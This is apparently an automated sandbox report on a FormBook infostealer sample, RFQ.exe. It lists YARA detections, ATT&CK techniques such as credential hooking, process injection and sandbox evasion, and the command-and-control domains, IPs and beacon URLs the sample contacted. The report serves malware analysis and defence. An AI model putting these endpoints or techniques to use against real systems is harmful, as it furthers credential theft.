Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\RFQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 7.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 7.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Rootkit1	Credential API Hooking1	Security Software Discovery121	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Masquerading1	LSASS Memory	Virtualization/Sandbox Evasion3	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion3	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Disable or Modify Tools1	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection612	LSA Secrets	System Information Discovery112	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information3	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Rundll321	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Software Packing1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
RFQ.exe	35%	Virustotal		Browse
RFQ.exe	17%	ReversingLabs	ByteCode-MSIL.Trojan.Barys

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
7.2.RFQ.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File
0.2.RFQ.exe.430e480.1.unpack	100%	Avira	HEUR/AGEN.1110362		Download File

Domains

Source	Detection	Scanner	Label	Link
ghs.googlehosted.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.comn	0%	URL Reputation	safe
http://www.tiro.comn	0%	URL Reputation	safe
http://www.tiro.comn	0%	URL Reputation	safe
http://www.tiro.comn	0%	URL Reputation	safe
http://www.eudorabcantik.com/md5/?idBXUjVP=2OYyEXTLFIqjBC5O5m8RJZ0r5htmlVRkTtWUdd8YXANk4Q730sjJcSottHUfDbvwisHPrnhI0g==&EBZ=ZVItdHbxztF0a	0%	Avira URL Cloud	safe
http://www.esvstudybible.org/search?q=	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.esvstudybible.org/search?q=Whttp://www.blueletterbible.org/Bible.cfm?b=	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.skincolored.com/	0%	Avira URL Cloud	safe
http://topicalmemorysystem.googlecode.com/files/	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.fontbureau.comas	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.skincolored.com/md5/?idBXUjVP=s4q+K9SYeQAH/ol1LHDCX3FORxxmw3fUJuDZ6OIV0kEaH/C8CzqjXw4/MJNt0fJkrNVLW2mfGw==&EBZ=ZVItdHbxztF0a	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
www.talllensphotography.com/md5/	100%	Avira URL Cloud	malware
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.skincolored.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.eudorabcantik.com	144.208.69.172	true	true		unknown
www.skincolored.com	52.58.78.16	true	true		unknown
ghs.googlehosted.com	142.250.185.179	true	true	0%, Virustotal, Browse	unknown
www.ghoshtechno.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.eudorabcantik.com/md5/?idBXUjVP=2OYyEXTLFIqjBC5O5m8RJZ0r5htmlVRkTtWUdd8YXANk4Q730sjJcSottHUfDbvwisHPrnhI0g==&EBZ=ZVItdHbxztF0a	true	Avira URL Cloud: safe	unknown
http://www.skincolored.com/md5/?idBXUjVP=s4q+K9SYeQAH/ol1LHDCX3FORxxmw3fUJuDZ6OIV0kEaH/C8CzqjXw4/MJNt0fJkrNVLW2mfGw==&EBZ=ZVItdHbxztF0a	true	Avira URL Cloud: safe	unknown
www.talllensphotography.com/md5/	true	Avira URL Cloud: malware	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000008.00000002.593605277.000000000095C000.00000004.00000020.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.biblegateway.com/passage/?search=	RFQ.exe	false		high
http://www.tiro.comn	RFQ.exe, 00000000.00000003.334811267.000000000161C000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.esvstudybible.org/search?q=	RFQ.exe	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.esvstudybible.org/search?q=Whttp://www.blueletterbible.org/Bible.cfm?b=	RFQ.exe	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.skincolored.com/	rundll32.exe, 0000000E.00000002.598194730.000000000502F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://topicalmemorysystem.googlecode.com/files/	RFQ.exe	false	Avira URL Cloud: safe	unknown
http://www.biblija.net/biblija.cgi?m=	RFQ.exe	false		high
http://www.carterandcone.coml	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.comas	RFQ.exe, 00000000.00000002.393740196.0000000001617000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/cThe	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.blueletterbible.org/Bible.cfm?b=	RFQ.exe	false		high
http://www.jiyu-kobo.co.jp/	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.fonts.com	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sakkal.com	RFQ.exe, 00000000.00000002.404338495.0000000005E50000.00000002.00000001.sdmp, explorer.exe, 00000008.00000000.425007365.000000000B1A0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.skincolored.com	rundll32.exe, 0000000E.00000002.598194730.000000000502F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
52.58.78.16	unknown	United States		16509	AMAZON-02US	true
144.208.69.172	unknown	United States		22611	IMH-WESTUS	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	356498
Start date:	23.02.2021
Start time:	09:00:10
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	RFQ.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@3/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 68.8% (good quality ratio 62.7%) Quality average: 71.2% Quality standard deviation: 31.9%
HCA Information:	Successful, ratio: 96% Number of executed functions: 173 Number of non-executed functions: 129
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 51.104.144.132, 52.147.198.201, 168.61.161.212, 40.88.32.150, 92.122.145.220, 13.64.90.137, 52.255.188.83, 51.11.168.160, 8.248.131.254, 8.253.207.121, 67.26.75.254, 8.248.149.254, 67.26.83.254, 51.103.5.159, 52.155.217.156, 92.122.213.194, 92.122.213.247, 20.54.26.129, 23.210.248.85, 51.104.139.180 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, vip1-par02p.wns.notify.trafficmanager.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcoleus15.cloudapp.net, e12564.dspb.akamaiedge.net, wns.notify.trafficmanager.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, client.wns.windows.com, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:01:13	API Interceptor	1x Sleep call for process: RFQ.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
52.58.78.16	PO_210222.exe	Get hash	malicious	Browse	www.kavoceat.com/dka/?9rYD4D2P=kNKZtJG4C0aY9HP7w97wJ4u7uzHRFSUzm5XFzKQLBd1otYR8umKyIBVy6GRWH7eF/fdY&4h=vTxdADNprBU8ur
	P.O-48452689535945.exe	Get hash	malicious	Browse	www.ezcleanhandle.com/h3qo/?-ZAtX2=rVIHh&LL04=Y9Tv1wBLRoSjorUAQG71A6NYLbsedH7xaXSNeZbowcZDbac/AED0EL0eZdrTUagxHd+k
	Purchase Enquiry.exe	Get hash	malicious	Browse	www.ayintapbaklava.com/pep/?nbm8EH=xPJtZrTpB&BrR=T1uTaNYZth1/h7345lZc58P1enp99/nBpPyK0SnaNA2EkCY9g2zIoZQewTpjcj/wjQAko3ttnw==
	PO-3170012466.exe	Get hash	malicious	Browse	www.lowvoltagemotor.com/bbk4/?h0DhlHu=hjw9ajKnLhBRyYq0E5ObKjz6+YMlARzoE0yk9CBtDhyrx7Y0HCergamMqJnCUxxsO4V2&tXi0=MXbP9
	SecuriteInfo.com.generic.ml.exe	Get hash	malicious	Browse	www.dopefuse.com/dyt/?8ptHc=fBkQ0asu9n+rbaztckfM/a1KQGA+UN+iMLQp3uKlrE8zNcFxtEYTvgdZp/y21LNqTj16&8pKHz0=GXbXuFxpBBiX
	PO#4503527426.xlsx	Get hash	malicious	Browse	www.germanystablecoin.com/j5an/?3f=+GzZZ/uhbPpXSu34WT3U+XC4jl079xNw93rZEKp+6D99k4UqrdtNp8Kv/bRRQXovWGbA7A==&SH=u2M0w8Cp
